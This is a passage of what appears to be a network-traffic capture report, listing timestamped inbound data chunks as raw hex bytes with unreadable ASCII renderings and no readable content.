b5 30 eb cd 95 7a 11 3f e2 22 76 f2 c3 66 01 c2 f0 30 c3 ca 93 b7 86 e2 25 15 0a 32 21 be 33 64 22 f3 d8 53 51 7d cf 1d 
06 b3 4d aa 57 39 b7 24 3d 49 a9 5b a6 4f 1d 42 89 15 c5 46 1e 82 c0 10 02 f2 14 c0 6e bc d5 d3 f9 eb ec 5e cc 5e 40 6f 
f7 b6 7a ba a4 7a a7 3b c1 10 80 f8 09 8d d6 79 87 09 
Data Ascii: $`mgw6d$|p`J3a+e _zQk_t,3Ni][]y?zJGmeow(yq*=BCp'A@F0 ;s\59tHH20z?"vf0%2!3d"SQ}MW9$=I[OBF
n^^@ozz;y

2022-09-20 10:10:08 UTC 5309 IN Data Raw: e4 c3 b8 c9 33 34 54 98 f6 a5 9e 0a 67 8c 63 99 f8 88 1c 6c 2c ef 0c a1 24 1e d8 60 6e 7d 09 25 f1 ba c8 ff 5a 
0f f9 5f ec 61 74 33 63 7e 40 cf 62 6f b7 62 25 bb d6 a7 ac ca d6 c4 5f d7 e7 03 d1 79 37 cf cf c9 93 d0 39 49 e8 fc 0e d0 
29 c8 b3 6a 56 6b 49 82 a4 54 83 f2 81 bb c6 00 f7 26 bb 1e ee 29 82 fb ca 3a 06 77 08 c2 6d d5 48 64 ba a6 2c b5 0f ec 
3e 06 d8 43 0d b0 3f 20 d8 0b 00 76 53 ae 55 04 cd a8 37 98 6b b2 e1 c0 3e e3 3e ff d1 30 f9 9d 09 12 3f 86 40 92 8d d5 
d1 0c d7 a8 7c 30 2a cc d5 63 14 47 18 d5 12 46 2d 84 d1 bb 39 0c a3 b1 b9 b0 81 b4 5a ec a1 ec ff 41 f6 70 ef 48 91 b7 
32 89 31 f9 21 fa 70 17 56 ed d3 dd 41 1a 62 95 54 ab 47 b5 e7 43 73 cd 25 4a 0c 2e 4a 0e 4e 83 c1 eb 1e 35 04 a7 92 
a7 f8 9f bc 90 e0 b7 ef ed 2f 51 ea f3 f1 ba 0b 03 2d 
Data Ascii: 34Tgcl,$`n}%Z_at3c~@bob%_y79I)jVkIT&):wmHd,>C? vSU7k>>0?@|0*cGF-9ZApH21!pVAbTGCs%J.JN5/Q-

2022-09-20 10:10:08 UTC 5317 IN Data Raw: 6b f9 46 e1 4e 26 e2 a7 09 e2 db f8 53 6e 8c 10 d4 9f c1 bb e7 b2 05 dd ab 2f 80 9e 3f a8 b5 60 6f d5 c1 86 86 
eb fe f5 9c 24 15 b4 6a ec fe ff 47 ed e5 8b f2 a8 cd d0 47 0d 9d 53 b2 4d c3 e5 ec 89 39 5a b0 eb 99 d4 f5 ac 66 ba 3e 56
b5 74 5d 1a ea e7 7f b7 f2 77 fb b4 df b6 63 f0 c4 4f e6 b4 9b 77 18 c0 fe 24 4b 57 08 ac 0c 89 58 8a 44 dc 8f 3c 32 20 83 
df cf 04 56 21 16 a1 38 53 6a 56 38 66 ac 86 fa df bd cd 82 c7 22 de 7b e7 2c ea fd 8b b4 31 be 76 13 d4 ff ee 0d 32 52 
99 0d 98 38 0b 98 e5 16 30 2f 11 98 7b 01 cc d7 bd 1c a1 0e 96 08 06 9e c8 60 56 59 c0 6c 26 30 1d 01 cc da 5e 36 7e f1 
08 66 ad 05 4c 91 05 cc df 08 4c 79 0f 06 66 4c 2f aa 7e 3d 1d d8 52 26 fa f4 3d b7 9a a7 c8 e9 f2 f7 64 85 97 e6 d3 2b 23 
bc 4a d3 63 a1 0d b7 13 d3 a3 57 53 24 b1 db 
Data Ascii: kFN&Sn/?`o$jGGSM9Zf>Vt]wcOw$KWXD<2 V!8SjV8f"{,1v2R80/{`VYl&0^6~fLLyfL/~=R&=d+#JcWS$

2022-09-20 10:10:08 UTC 5325 IN Data Raw: c1 7d 74 ec 5a 06 ba df d3 4f f7 ec 06 7b 6f 91 e7 1e 7c 06 6f f7 c5 b1 75 2e 37 ce db ec 4f f5 f3 b6 fd 56 bd 0c 
ed 27 19 3a ff 11 9b b7 f1 ec 65 0e ee 01 04 c7 65 20 10 e8 1f 0c 40 bb 18 80 1e 20 a0 69 00 f4 bb 4f 6c 16 e7 81 75 f7 e8 
c8 df cd c8 8f 3d 19 e8 a2 a9 fa 44 0f 79 b4 01 72 21 41 be 1b 20 af fc 44 53 e6 cf 5d 64 ca dc d3 05 91 c0 5f 33 95 7e ac 
da aa eb 1e 04 ce c2 bb a8 d9 57 46 f2 4f 28 8c 2b f1 4d 01 07 95 32 86 e4 8a df 1f f9 92 a9 78 de d6 13 87 38 f1 2f bf 84 
76 11 da c2 77 ba 26 73 00 87 09 63 fa 71 10 c1 b6 06 b0 a0 63 28 4c 0e 23 63 85 02 ca 7e 85 69 7a 4f 3c 8a 1e fc bd 6b 
de 40 5f ff e9 5c c6 d2 9b 28 63 7b f6 08 19 fb 15 0c ea 69 b2 1b 12 5f 8e 67 34 e1 6b b1 14 67 de 40 5f 65 32 47 52 d4 
44 24 4f 4b 24 bf 00 92 56 fc 33 d7 a6 62 
Data Ascii: }tZO{o|ou.7OV':ee @ iOlu=Dyr!A DS]d_3~WFO(+M2x8/vw&scqc(L#c~izO<k@_\(c{i_g4kg@_e2GRD$OK$V3b

2022-09-20 10:10:08 UTC 5333 IN Data Raw: 46 cd 97 42 7b d3 b7 fb 3d a1 fc 7b 3b c1 f8 7e 32 91 d4 54 61 7f 7d 21 41 51 61 59 dd 5e 26 fc 86 1e 00 bf 09 
8f 23 53 68 8f 7f ca 09 7e 2e c1 ff 83 80 6f ce e5 33 e7 13 d4 b9 5c 22 6c 1d b9 8a fd 4b 78 63 51 b1 4f d7 28 b7 e3 1f 6d 
9c ae c9 68 be 78 5d 5d 78 a5 6e 9a 4e 91 a2 6d e4 be 01 c9 73 14 03 8f 99 eb 2c 41 37 2c b7 db eb a6 d8 94 57 4b d8 
b8 50 67 ef ba 87 3d e4 20 64 86 44 82 a4 6b e8 9c 0e 79 d7 74 e3 a1 b5 3a fa 0e 4f 62 f8 7d 0c aa b2 81 36 ce c4 2e f1 
7d a8 b4 b7 31 4b 54 1c 28 02 19 b4 09 db f8 11 14 c8 c0 62 f2 69 28 be 12 57 1c 87 50 57 56 a3 c6 b6 dc c3 d2 e7 c9 f8 
fa 41 5d 7b 11 9e b8 df 85 e9 cb bc ed 21 dd 6a 5b 6d 34 1e 45 8f 47 95 2c 4b 6e 73 36 f3 b1 87 05 21 0d 95 c4 3c 0c 12 
92 c7 b3 a0 07 79 b4 d9 be dc 8c 43 09 56 b1 fb 98 34 
Data Ascii: FB{={;~2Ta}!AQaY^&#Sh~.o3\"lKxcQO(mhx]]xnNms,A7,WKPg= dDkyt:Ob}6.}1KT(bi(WPWVA]{!j[m4EG,Kns6!
<yCV4

Timestamp
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2022-09-20 10:10:08 UTC 5341 IN Data Raw: 64 b3 67 e3 05 34 7b 8a 86 6b a1 86 9b a3 23 b0 ad 4b db 2e b0 58 c2 59 10 1c 21 04 0a 20 78 90 10 50 1f 18 
03 dc 32 95 1d 3d 6e 1d b4 8e eb 0f 44 8a 15 53 38 1c 55 c6 72 a2 0e 37 95 7f 32 80 c9 36 ec 28 cb d2 28 7c e4 f8 b9 f5 
2e 06 eb ec cb 27 9a d6 c3 2a 09 be 67 fa 59 d0 ac 57 49 c1 4a b0 79 d6 8c 72 b6 50 1f 4b cd f4 28 35 53 06 a5 9e be 6c 
a4 cd 42 9d ae d3 17 13 aa 22 0f c4 10 5f 9c 1b 6c 66 9b 67 1b be dc 24 f8 0a 2d f8 06 11 be fa 11 36 f7 ab 0a 38 62 e1 
38 fb aa d2 b8 1e 68 cc 60 fb 8e e0 b1 36 d8 9e 52 72 95 66 69 f6 d8 7f 1a 67 29 2a fb d2 11 1a 9a 6d f9 c1 e6 b2 5e 11 
f2 87 14 3f 47 8f f0 e5 cc 7c 83 f1 e4 8b 38 99 e5 80 66 db a6 4a 8b ae aa af b8 28 a6 85 1e 5d 5e 61 05 f7 e0 79 7f e5 bf 
77 11 01 d4 2b 36 dd 37 e5 27 66 a1 2d b1 b4 ce 85 d4 
Data Ascii: dg4{k#K.XY! xP2=nDS8Ur726((|.'*gYWIJyrPK(5SlB"_lfg$-68b8h`6Rrfig)*m^?G|8fJ(]^ayw+67'f-

2022-09-20 10:10:08 UTC 5348 IN Data Raw: 77 f2 43 45 dc fc c8 66 54 83 a1 95 b9 78 c6 0c a2 91 f4 73 83 8f a9 06 4f 2e 87 99 e5 ac fe 05 c6 2c ff 7c 17 
2d e7 a7 f5 30 c2 6a c8 96 ab 76 63 29 8e 44 1e 6d ec 09 cb bf 86 9e 55 ed 82 99 57 17 c2 3d 9c 9a 3b 66 65 3d 74 a4 ba 
63 fc c1 bb f1 4c 8b a7 2b ec b3 de c6 f6 9a f3 e7 6f d8 5e 75 fe c8 dd f4 3a 63 a1 f2 17 cd 8b da a7 68 a9 0a 4c 3e 40 12 
a4 57 27 41 1e e9 61 f0 14 a4 cd eb 88 56 45 76 2a 7d 57 0b 8e 88 52 d3 86 31 dc 89 76 a1 3a 76 c2 d5 12 5d 2b bc 6e 
58 ee 56 be 1b 81 df 04 ee d8 26 76 85 b0 dc 16 6d e7 a4 10 e2 a9 1a 0a 95 dc 2f 54 5f 8f b0 f3 8a 8e 0e b5 a8 b9 dc ed 
9e 13 78 ec dc cf c3 c1 91 2b 34 11 57 58 1e 08 5f b6 61 cb 3b 36 05 c0 4a 74 1a 37 d4 4c a7 c5 9f c6 08 19 dc 78 ff e7 
1b 86 1d 49 97 d8 ca 8b 55 0c b3 7f c5 46 27 bf 89 0f 
Data Ascii: wCEfTxsO.,|-0jvc)DmUW=;fe=tcL+o^u:chL>@W'AaVEv*}WR1v:v]+nXV&vm/T_x+4WX_a;6Jt7LxIUF'

2022-09-20 10:10:08 UTC 5356 IN Data Raw: 95 b5 ad 0c 02 b8 43 68 ad 02 44 a3 45 32 34 da a9 6b d3 66 45 c2 14 f9 c8 88 11 fa 62 e3 24 d2 17 6d a6 18 
cd 8a 36 53 e4 23 43 24 33 03 c8 7c 76 bf 38 2b be ff 5e 9c 15 cd 69 6f 10 f1 29 1a 2d 43 d5 96 e7 40 fa ce 0a 5a 56 94 
bc f5 c3 29 2c 59 a6 a8 aa 5c 32 71 02 bb f8 83 46 bf ec dc 14 34 9a df d9 27 1a 7d f3 b8 1c 8d 56 c7 6a 15 37 98 2d cb 
b3 04 c5 dd 31 91 28 6e 75 ac 80 46 7b 76 f6 1f 8d 8e af f6 81 46 c3 8e 98 45 a3 69 ff f4 1b 8d 36 4c 96 a3 d1 14 41 de 
bb 62 88 bc 9b 27 ab 68 b4 f5 31 1d 1a 6d 7d d0 18 8d b6 ec e4 2f 1a 9d 3a 59 3e 11 16 0b 8c ad 9d 40 18 0b 9e ac a2 
d1 9f bf d2 a2 d1 d5 1d 9b 86 df 0e 4d 92 b7 bf 46 68 ff 36 68 3f 7b 92 11 5a c8 9e 24 87 2f 22 99 83 d1 84 8c 63 92 88 46 
6b bf d2 a2 d1 03 1d 9a 26 4d a0 81 34 85 02 1b 13 80 8d 
Data Ascii: ChDE24kfEb$m6S#C$3|v8+^io)-C@ZV),Y\2qF4'}Vj7-1(nuF{vFEi6LAb'h1m}/:Y>@MFh6h?{Z$/"cFk&M4

2022-09-20 10:10:08 UTC 5364 IN Data Raw: 5a 5d 7a 28 b6 8a 47 eb c6 7a 5c 2b 41 ad 78 c1 ed f8 ff 48 7b fe b8 a8 8a ed ef 22 28 29 ba 68 a8 a8 94 f8 c9 
50 d2 0a cb 7a fd 32 b7 74 df 97 54 8a 4c 4a 4d be 99 3f c8 ca 5f 4f c1 b4 a7 89 ad 28 eb b2 a9 09 4a 6a 09 8a 7d 49 a9 
47 f9 8b 4c df 43 b4 20 a3 af 6b 5a df cd 87 b9 15 e5 25 b6 c4 32 a5 34 7d 73 ce cc dc 7b 67 f6 ee 82 7d ff 81 bd 77 66 ce 
9c 7b ce cc 99 33 67 ce 39 03 62 c4 95 9a 0c 7f 6d c3 89 9e e1 38 18 6e c4 de 19 d7 57 fd bf 3f b4 2b c2 17 84 3b 66 ec 
b3 38 16 e5 2b 99 bd 70 5f 90 7f 80 80 d4 72 7e e6 5b aa ac bb 0f 40 c2 c8 0a a2 3b 56 dc 6b cf 5b e8 6e 78 03 6d 1e 79 
a8 df 30 29 58 f1 1d 08 b2 12 e9 ed 66 7c 5b 2a bd cd c3 b7 65 d2 db 79 f8 b6 1c 30 c9 ea 2a 95 8d 27 65 8d 6d 08 36 4e 
fb 4e f6 e5 0d d9 88 9f f6 f1 ae 94 12 57 5a c5 81 
Data Ascii: Z]z(Gz\+AxH{"()hPz2tTLJM?_O(Jj}IGLC kZ%24}s{g}wf{3g9bm8nW?+;f8+p_r~[@;Vk[nxmy0)Xf|[*ey0*
'em6NNWZ

2022-09-20 10:10:08 UTC 5372 IN Data Raw: b5 37 51 9b 10 16 30 9d c0 aa 5e 3a df c2 75 da 6e 55 61 ca 26 a6 c8 14 43 e4 fe 79 08 0f c7 a6 e4 0e 23 0b 
0f 43 c2 6c 8c fa 7b 6c 0f d4 30 d7 c2 d3 1b 60 e4 27 4c 2e a0 4f 8d 91 56 43 48 dd 26 91 d5 3d ba 48 fd ce be 46 ea 0f 
16 87 a6 be 75 70 47 d4 97 3d d9 31 f5 b3 7b 87 a6 7e c6 c3 ba 81 6a 85 3b 35 3a 78 50 85 30 25 1e 31 4c 89 07 d4 45 
1b 55 17 c1 65 01 3b 0a 76 b7 57 fa a0 b6 63 7d b5 8a 54 88 bd 38 f4 66 38 a9 e0 89 26 ff 70 96 43 21 f8 c3 2e a8 73 bd 
51 67 af b5 37 00 9b f0 bb 01 10 ae 35 b5 51 ea ce 19 43 e8 7e a2 c9 a3 2a ec e9 01 d8 53 cd 5d 05 7a 98 9e 70 32 66 bf 
c2 54 6d b8 ba 0d 8b f6 b9 53 02 b8 02 f2 b9 97 36 11 7d d0 c6 3d 77 84 24 13 13 f7 43 3f ce 8d 75 a7 42 70 4a f0 07 a8 
84 a7 36 16 b5 8a b2 1a 22 b7 e7 dd 8b 6a 2f 04 6f f1 d1 ef 
Data Ascii: 7Q0^:unUa&Cy#Cl{l0`'L.OVCH&=HFupG=1{~j;5:xP0%1LEUe;vWc}T8f8&pC!.sQg75QC~*S]zp2fTmS6}=w$C?
uBpJ6"j/o

2022-09-20 10:10:08 UTC 5380 IN Data Raw: a5 d3 04 b3 52 8f 64 78 a8 c6 4a 57 d7 8b a5 ef 96 c6 c2 bc bb a0 ea 57 77 66 60 9e a7 da 98 79 b7 32 92 95 
18 78 ef 5f 49 48 5e 5c 9d 81 79 d7 56 1b 33 4f 0f a9 09 20 9d 9c 9b c2 3c cf 88 63 4c cc 43 9a fe b8 44 64 c7 cd 5a 65 
91 79 58 fa d4 9d 62 e9 49 5a e9 0c cc ab 81 aa fb 96 66 60 de cd 73 8d 99 b7 8c 91 ec 64 24 ef 98 05 f9 af e6 66 60 de 
d0 1c 63 e6 e9 21 dd 08 90 ba e6 a4 30 ef e6 e1 b1 31 0f 69 da 79 bb c8 0e eb 70 1a e6 61 e9 6e 9d 9c 0e 0e 8d 85 79 
6b a1 ea 43 77 64 60 9e 75 8e 31 f3 d6 32 92 6f 62 24 2f a9 22 24 bf 3b 3b 03 f3 02 b3 8d 99 a7 87 94 03 90 9e 98 9d c2 
3c eb d0 d8 98 87 34 dd 77 9b c8 8e 0f ce a5 61 1e 96 de 74 87 58 fa ef b0 74 3a 9f ad b7 c0 08 7a ae fb cc 82 c7 9f f0 59 
9a 9b 2a c1 b4 86 ee 9b 1e a6 33 c1 cf 7b c0 dd 2c be 02 
Data Ascii: RdxJWWwf`y2x_IH^\yV3O <cLCDdZeyXbIZf`sd$f`c!01iypanykCwd`u12ob$/"$;;<4watXt:zY*3{,

2022-09-20 10:10:08 UTC 5387 IN Data Raw: c3 1a 14 e2 1e b5 f0 f0 6c 69 af 94 54 a5 69 7f 21 c6 4c d5 20 7a 08 a2 e3 69 c2 70 89 4c f9 af 91 ef 45 05 19 
30 81 d4 16 ca 23 10 24 92 62 32 82 8c 77 0e 32 20 a9 86 5a 18 48 56 78 64 85 79 1f da 6d d3 65 2a 1c 8c d0 25 e8 94 
f9 32 96 55 ad 64 b1 d9 38 13 36 c7 52 83 fd 6b 1c cf 33 6d 86 54 31 1d 37 c0 49 00 ad 8f 7d 39 9d 11 de 16 89 98 1a 26 
e4 b9 cf 06 ea 59 b7 2b 74 59 e1 a7 f0 68 66 6a a9 bf 60 29 5e b1 ea c5 af ab 5e fc 9a ea 05 ae 04 83 2a 9a 8e 97 ac 7a 
f1 eb aa 17 bf a6 7a f1 eb aa 17 bf aa 7a f1 93 ea 85 15 eb 71 11 47 7b 8e bd bd e9 c9 23 6c e7 a2 c6 cd 58 eb 82 f3 cc 
62 67 62 a3 bd 19 36 ed 1d 89 e0 c1 f1 fc 80 b3 0b 9b c5 ab a2 fb 65 a9 50 2c 82 9b 0f c4 db c7 d7 82 82 ca 17 9b 54 13 
b6 a9 fa 42 38 db b2 be d3 b4 57 c5 a2 32 2c 86 05 2e 02 
Data Ascii: liTi!L zipLE0#$b2w2 ZHVxdyme*%2Ud86Rk3mT17I}9&Y+tYhfj`)^^*zzzqG{#lXbgb6eP,TB8W2,.

2022-09-20 10:10:08 UTC 5395 IN Data Raw: 30 2b 1d c8 70 3e e7 9a 5f d3 05 63 34 51 0e 37 98 19 3a b0 46 66 e8 22 c6 d0 f9 8c a1 e7 26 b0 e2 04 ab 08 
43 af 5f 83 c2 8e 9e 70 ca c3 76 f8 0e d3 33 e9 c2 bc 75 4e 13 ed 21 07 14 6e cd 6f 63 49 bf 16 e3 8f 14 9a 92 53 38 53 
8a 0f 88 4a a0 ba aa 3c ef b9 31 db 67 d4 aa 3c d4 44 ee 3a 46 ee 0a 46 6e 19 23 77 d1 4a 42 ee e9 62 58 fb ab 60 12 c1 
46 0b ac 01 59 86 18 a4 b6 6b 9e 24 b4 e0 0b 60 cf 8d 60 a9 71 aa 2f e2 64 a8 b0 4b 7a 97 ab 5a 32 8f a4 72 7a 21 80 a6 
13 79 fb 7a b3 96 36 e9 3a 26 96 79 fe 4f 94 cc 2f 33 c9 5c 65 21 99 35 57 05 7c f8 c8 4c 61 68 ab d9 d0 36 0d bb 0e 16 
1e 56 a6 1a ac 46 db a6 b2 9c cb cb e7 0a 54 ee 62 26 a5 ee 09 60 bd 16 31 ff 3e 0e 66 be 26 84 1f 12 50 ef e2 a8 f7 e0 
79 5b 30 e1 90 19 ee 39 a6 ec 07 de 30 02 69 06 31 94 af 
Data Ascii: 0+p>_c4Q7:Ff"&C_pv3uN!nocIS8SJ<1g<D:FFn#wJBbX`FYk$``q/dKzZ2rz!yz6:&yO/3\e!5W|Lah6VFTb&`1
>f&Py[090i1

2022-09-20 10:10:08 UTC 5403 IN Data Raw: e9 4c 29 a3 a6 3d 07 48 ab 76 93 2f 95 16 87 54 bd 15 3e e3 41 c8 76 0d 89 c4 2a b6 f1 88 66 b0 02 0e 4e 55 
a1 1a 47 68 a2 cf 12 82 35 8f 5d be 04 77 0e 0f c6 05 34 42 13 3c 2e 20 74 64 66 1d d5 4e 00 0e ed 81 11 4c a3 23 b0 db 
b6 1b 2c e3 19 bf fb a4 a1 90 ba 75 00 18 63 4c 2d 4b 0b 55 f4 b0 40 89 db f9 62 e8 bf 0b b6 d0 16 15 09 fb 19 0e 38 4b 
29 67 28 7e 9f 90 66 c9 df 09 69 5a 48 eb 76 8f 71 cc fb 4b 6e e4 af 1e 68 00 fd 1a 0e f7 00 b7 eb 80 0f d0 c1 2e f2 8d 97 
1b 43 9e 8d 2a a1 ee 37 f4 26 ff f1 e0 ee 65 41 03 e9 af 4d a0 1d d3 64 02 ff d8 a0 4b b1 3b b5 bb db 2e e9 1b c2 b4 c8 0f 
8c 54 72 79 63 94 27 73 94 6d bd 13 33 9c 33 b3 30 62 40 36 73 6c b9 77 34 84 2c 89 a4 ee a1 a2 65 14 32 cf 52 95 c2 
e4 d1 3c 60 10 a4 a4 d5 c8 b8 23 0c 5d a9 86 2a f1 d8 
Data Ascii: L)=Hv/T>Av*fNUGh5]w4B<. tdfNL#,ucL-KU@b8K)g(~fiZHvqKnh.C*7&eAMdK;.Tryc'sm330b@6slw4,e2R<`#]*

2022-09-20 10:10:08 UTC 5411 IN Data Raw: 27 85 b6 93 42 b7 25 93 e4 d5 e3 4c a1 2f d5 a9 f9 97 15 bf e0 6c 75 8c 4d 2c c7 c2 1d 5d e8 ee c1 2b 18 ca 
db 00 b1 f3 f0 24 d6 92 95 83 3d c2 a7 9d bb 80 70 ec 2f d2 f6 4c 4a 85 ed 58 b8 78 f6 35 06 ad 06 7b 0c 90 c8 b7 eb cc 
3f 80 82 c8 2e 44 64 5d 2d 23 72 1c 12 e9 0e fe 00 32 c2 88 a6 b0 30 95 a6 29 88 d7 23 b2 09 e5 d6 f5 b8 73 17 11 74 df 
8b f7 23 83 ee fb f1 7e 30 d6 00 c6 fe f4 c5 90 20 47 2f 8c ff 70 74 c3 f2 41 70 d6 4a 40 ab 5d bd 15 c9 aa 87 52 84 8d c3 
d9 7f 57 ed 37 f2 cb d2 26 76 99 de 08 05 55 d5 cb d2 46 f6 1a 0c 84 86 85 fc 35 06 a7 37 07 de 83 03 87 e4 b7 0c 4f 23 
c2 c7 86 a3 c3 c8 7b dd 70 5f 18 97 4f b8 25 eb 5d 45 44 48 41 ed 5c 40 51 23 50 8c 98 2f 28 8b 41 14 f0 40 81 07 4a 07 
fb 64 71 c9 04 3a 46 7e 94 66 1f a2 03 61 ef cf 2e 53 
Data Ascii: 'B%L/luM,]+$=p/LJXx5{?.Dd]-#r20)#st#~0 G/ptApJ@]RW7&vUF57O#{p_O%]EDHA\@Q#P/(A@Jdq:F~fa.S

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 5419 IN Data Raw: 21 e8 2d 37 6e 10 34 18 9b ae fe 70 4b 12 20 d1 05 0e b7 24 c0 ff 86 9e 8d 16 a3 ac 3f 6b bf 2f 86 20 1d 95 
09 f1 fa 9c 08 04 fc 68 47 cf 82 91 80 9f 88 22 d6 2c 41 c5 02 12 66 ac 51 02 8f 39 02 8c 9d c9 51 10 04 91 c5 ee dc 69 35 
53 5e 36 c7 d4 d5 67 df 55 d4 5e a1 31 24 d7 46 ac 5b 21 06 c7 ad 47 0f 7f b2 af 64 8d 25 4a ae 38 7f 63 8c f7 26 3f de 
c5 55 8c 2f 52 61 85 50 58 12 5a 88 d6 f2 14 5d 03 e7 c4 f0 95 d6 07 2f 02 c1 b9 b1 9f bb e4 5e 3c 3c 56 e8 d3 77 1c d7 
4b 69 94 b7 90 e3 ba 82 fe 6d a7 9b e5 38 06 63 fd 7a 79 59 b2 f8 60 87 fb ad 58 d1 7a 31 20 09 80 6b 56 ee aa 43 4c 48 
79 db 15 80 61 2a cf f1 cd d2 77 17 8b a7 c5 f9 e5 f1 05 47 dd 6f eb bb c1 0b 5c b2 d8 85 71 8d 7b f0 62 36 5d 54 e1 c5 
ed 74 f1 73 bc 98 40 17 d5 78 71 1d 5d fc 02 20 86 fb 
Data Ascii: !-7n4pK $?k/ hG",AfQ9Qi5S^6gU^1$F[!Gd%J8c&?U/RaPXZ]/^<<VwKim8czyY`Xz1 kVCLHya*wGo\q{b6]T
ts@xq] 

2022-09-20 10:10:08 UTC 5426 IN Data Raw: 09 d2 c1 e9 50 b8 c2 24 9d 75 a3 0d e9 14 74 40 3a 47 ba 28 a5 63 30 61 15 58 cb 30 2f 5f 8c b6 e2 23 91 5e 
be 22 6d c5 bb 23 83 7c 05 9f fe 1a db c9 77 48 ff 44 eb 9a f0 1c ad 09 79 c4 c3 0f e2 fb f7 d5 f0 fd 7b 14 c5 c9 42 dd 94 
58 bd 3e bc c9 2b d2 24 fc c0 4d b0 61 b0 da 3f 41 b4 d9 7d c3 92 6b 2a 02 9d 0f 8c b2 d2 b9 83 e8 2c 26 3a 5d e4 69 7f 
77 04 a3 33 61 14 8f 99 84 cf e7 c1 a0 e2 25 50 7b 24 50 3d 09 d4 7d 00 ea eb 91 02 94 11 21 78 f4 4b eb d6 81 1b d2 
a2 89 08 d8 d3 81 ae 68 04 f4 a0 07 d6 7f 2d 99 b7 89 e7 98 2c 8e b8 1c 97 2b 8d 3b 46 aa a5 b1 9d 58 88 23 16 5e 1d 
ce 58 18 34 b2 3d 69 f4 1b a9 96 86 00 15 4f a0 f2 00 d4 df 12 82 a5 f1 6e 83 75 7b 11 2c 8d b3 5d 2c d2 18 22 4b 63 c8 
2f bf 4f 1a f3 13 d4 d2 38 48 2c 4c 26 16 fe 18 cf 58 70 25 
Data Ascii: P$ut@:G(c0aX0/_#^"m#|wHDy{BX>+$Ma?A}k*,&:]iw3a%P{$P=}!xKh-,+;FX#^X4=iOnu{,],"Kc/O8H,L&Xp%

2022-09-20 10:10:08 UTC 5434 IN Data Raw: 6d 79 6d 77 b4 bf a2 f0 d4 52 92 6a a5 a9 51 23 b5 18 de f7 2a 4a 35 7e 38 64 7c c8 c6 8c 36 f0 2b 2a 76 e7 
5d 6b 52 9a 9c c7 e2 9c 3b 94 cc a7 76 b2 a9 08 3f 75 ea 0c bb 56 d8 a4 b0 c0 66 9d 4e 83 93 b5 85 22 db 51 ba 7c 71 
26 1a 6d 50 b5 ba 5a 4d 1f 51 73 09 49 34 cc c6 17 c9 20 df bc 95 12 72 68 10 54 bc b2 cb f2 05 5f 95 2f 89 70 d2 f2 21 
09 e3 1a 95 15 30 49 b8 62 78 75 c5 ea 54 1a 67 9f 4a 1a 97 56 7d 19 4c 01 ef 1b 5b a6 87 4e a2 00 3a 0c 92 3f 34 92 6f 
3d 29 8a 8f 26 b1 6e a3 69 ab 97 be 5a f0 b1 23 dd 55 c2 eb 47 ee 3f 44 a2 86 eb ed 5c 32 46 b8 ef 38 bc 97 1a 04 52 4f 
f1 46 e2 de 4b 55 9e a4 e7 b1 75 f4 d7 7a 8e 42 ad e7 f7 7e 1e 31 df 4b 1d d5 c4 ac a7 d8 6d a4 ca 1b 85 db 48 a6 3b 77 
37 bf d8 db bd a7 f3 59 5b 57 5b 62 ae 39 fd 54 91 f8 9a 53 
Data Ascii: mymwRjQ#*J5~8d|6+*v]kR;v?uVfN"Q|q&mPZMQsI4 rhT_/p!0IbxuTgJV}L[N:?4o=)&niZ#UG?D\2F8ROFKUu
zB~1KmH;w7Y[W[b9TS

2022-09-20 10:10:08 UTC 5442 IN Data Raw: 4e 88 42 33 0a 46 86 45 8f 61 41 62 e6 3e 62 ec 98 d3 a6 8e f9 89 75 cc e6 42 d2 31 69 a4 70 f0 46 4a dc 28 
ba 03 49 d5 d1 18 8e 81 c6 4b a7 50 77 01 dd a6 e7 be 5c 8b 78 3f b1 0d 9f aa 62 f9 f0 59 c3 a8 88 8f a7 2d f8 e1 61 42 
fc ed c5 91 86 cf f4 62 f9 f0 e1 a0 da 32 50 eb 00 94 a3 38 da f0 49 28 96 0f 1f 0e 2e 81 81 9b 04 e0 6a 3c 11 86 cf 2e 8f 
11 52 b7 97 8c 90 12 19 a4 38 80 54 ec 69 c5 23 48 6e 33 72 f3 73 e4 34 d8 c9 50 0b 12 fc 02 2f e9 67 cc 98 a6 9a 30 65 
9a 30 5d c2 30 ad 25 3b a3 60 12 8c d6 e1 c7 50 1e ae a3 40 61 93 5b af 5f c6 b3 29 80 a4 4d 11 84 e2 b7 c9 ac 57 d2 
50 3f 6f e4 fa 84 c5 1c d0 74 0d b5 e4 ea c6 59 5b 46 ee c3 8c 5c 45 18 67 ef 7c ab 5d 7b c9 84 4f bb 7d 1f ed fe 77 af aa 
b3 18 8c af 05 0e c5 0e 74 3c ba e1 2c c6 db 6b c1 78 
Data Ascii: NB3FEaAb>buB1ipFJ(IKPw\x?bY-aBb2P8I(.j<.R8Ti#Hn3rs4P/g0e0]0%;`P@a[_)MWP?otY[F\Eg|]{O}wt<,kx

2022-09-20 10:10:08 UTC 5450 IN Data Raw: 7c 0f 45 b2 c3 69 ec 09 6c de 93 3d e1 e1 1f b2 01 14 bf a5 72 21 c1 fe 8c 8d 9b 18 4a 5e 7c c9 f6 8c f8 6e 8a 
ef e7 f8 f7 8c 5f 7c 3f cf be 8f f1 6b 17 ec f1 76 41 4b 4f 28 9d 6a f1 5d ea dc c4 bf 93 ce cd 42 e7 66 a1 b3 7d 41 4b df 56 
3a b7 88 ef 52 c7 cb bf 93 ce 05 a1 73 41 e8 24 2f 68 e9 49 a5 73 ab f8 2e 75 6e e3 df 49 c7 10 3a 86 d0 49 5d d0 d2 53 
4a e7 76 f1 5d ea bc 82 7f 27 9d 1a a1 63 0a 9d b4 d0 31 59 7a 5a e9 5c 14 df a5 ce 2b f9 77 d2 b9 43 e8 dc 21 74 76 2e 
68 e9 3b 4a c7 27 be 4b 9d 57 f1 ef a4 f3 6a a1 f3 6a a1 93 b9 a0 a5 67 94 ce 6b c4 77 a9 e3 e7 df 49 e7 4e a1 73 a7 d0 
d9 bd a0 a5 ef 2a 9d d7 8a ef 52 e7 3b f8 77 d2 09 08 9d 80 d0 d9 bb a0 a5 ef 29 9d bb c4 77 a9 73 37 ff 4e 3a f7 8c 5b 
b7 4a 6c 78 8a 96 0a 1e d9 65 bb da 63 e1 22 f4 
Data Ascii: |Eil=r!J^|n_|?kvAKO(j]Bf}AKV:RsA$/hIs.unI:I]SJv]'c1YzZ\+wC!tv.h;J'KWjjgkwINs*R;w)ws7N:[Jlxec"

2022-09-20 10:10:08 UTC 5458 IN Data Raw: c3 e1 59 4f df 7d 21 c1 0f 11 78 1c e1 bb 7e 96 0d 11 91 97 39 07 70 5c e1 ad a7 03 cc 0b f6 90 87 7c 5e e5 
